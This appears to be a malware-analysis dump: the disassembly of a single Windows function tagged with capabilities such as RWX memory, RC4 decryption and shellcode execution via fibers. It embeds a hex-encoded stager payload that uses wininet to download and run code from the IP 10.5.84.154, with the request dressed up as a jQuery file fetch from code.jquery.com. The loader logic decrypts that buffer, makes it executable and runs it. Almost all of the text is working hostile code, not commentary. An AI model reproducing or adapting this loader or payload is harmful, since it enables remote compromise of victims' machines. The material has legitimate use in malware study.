Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via windows fibers

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x530]
sub rsp, 0x630
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x520], rax
xor ebx, ebx
mov r15d, ebx
mov dword [rsp + 0x20], ebx
movups xmm0, xmmword [0x140004440]
movups xmmword [rbp + 0x80], xmm0
movzx eax, byte [0x140004450]
mov byte [rbp + 0x90], al
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], bl
mov r8d, 0x6f4
lea rdx, str.4188d76fcbb759000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8901f00004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f6a71756572792d332e332e322e736c696d2e6d696e2e6a73006444bc2b10ba41a2f06270b6ec600a3cf2c68fef77422f2cfdf7b835870616f17cc4213c636cc825057dedb39e8f7d0b1a9542dbcc004163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e350d0a526566657265723a20687474703a2f2f636f64652e6a71756572792e636f6d2f0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e333b2054726964656e742f372e303b2072763a31312e3029206c696b65204765636b6f0d0a00ce16eb71255b8ec89a746f1e3ac578c75e69365abf323ab125cf4682ce4370882a31400402de35d2beccf002f398a3a1a533386ef595190041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d75858584805af0f000050c3e89ffdffff31302e352e38342e3135340005f5e100
lea rcx, [rbp + 0x38]
call fcn.140001dd0
nop
xor edx, edx
mov r8d, 0x37b
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x80]
mov rdi, 0xffffffffffffffff
mov r14, rdi
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140001290
mov rsi, rbx
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x1400014a4
lea r13, [0x140004c10]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
nop dword [rax + rax]
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
cmp rax, rsi
jb 0x140001655
sub rax, rsi
mov r8d, 2
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
add rdx, rsi
lea rcx, [rbp + 0x58]
call fcn.140001dd0
or r15d, 1
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0xa0], r13
lea rax, [0x140004b70]
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r15d, 2
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xa0], r12
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x9c], edx
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x120], rbx
mov dword [rbp + 0x128], ebx
lea rdx, [0x1400011c0]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
mov rcx, rax
call fcn.140001fc0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, rsi
shr rcx, 1
movzx eax, byte [rbp + 0x30]
mov byte [rbp + rcx + 0x1a0], al
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xa0], r12
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x9c], edx
lea rcx, [rbp + 0xb8]
call fcn.140001bd0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140001493
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000148e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001617
call fcn.14000223c
add rsi, 2
mov rax, qword [rbp + 0x48]
cmp rsi, rax
jb 0x1400012c0
lea rax, [rbp + 0x1a0]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400014b0
mov r9, rbx
mov rcx, rbx
nop
mov byte [rbp + rcx + 0xa0], cl
xor edx, edx
mov rax, rcx
div r14
movzx eax, byte [rbp + rdx + 0x80]
mov byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x100
jb 0x1400014c0
mov r8, rbx
nop word [rax + rax]
movzx edx, byte [rbp + r8 + 0xa0]
movzx ecx, byte [rsp + r8 + 0x30]
add rcx, r9
add rcx, rdx
movzx r9d, cl
movzx eax, byte [rbp + r9 + 0xa0]
mov byte [rbp + r8 + 0xa0], al
mov byte [rbp + r9 + 0xa0], dl
inc r8
cmp r8, 0x100
jb 0x1400014f0
mov rdx, rbx
mov r8, rbx
test rdi, rdi
je 0x140001592
nop dword [rax]
lea rax, [rdx + 1]
movzx edx, al
movzx ecx, byte [rbp + rdx + 0xa0]
lea rax, [rbx + rcx]
movzx ebx, al
movzx eax, byte [rbp + rbx + 0xa0]
mov byte [rbp + rdx + 0xa0], al
mov byte [rbp + rbx + 0xa0], cl
movzx eax, byte [rbp + rdx + 0xa0]
add rax, rcx
movzx ecx, al
movzx eax, byte [rbp + rcx + 0xa0]
xor byte [rbp + r8 + 0x1a0], al
inc r8
cmp r8, rdi
jb 0x140001540
lea r9, [rbp + 0x78]
mov edx, 0x37b
mov r8d, 0x40
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140001623
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000161e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000161e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000223c
xor eax, eax
mov rcx, qword [rbp + 0x520]
xor rcx, rsp
call fcn.1400021e0
lea r11, [rsp + 0x630]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001f30
nop
int3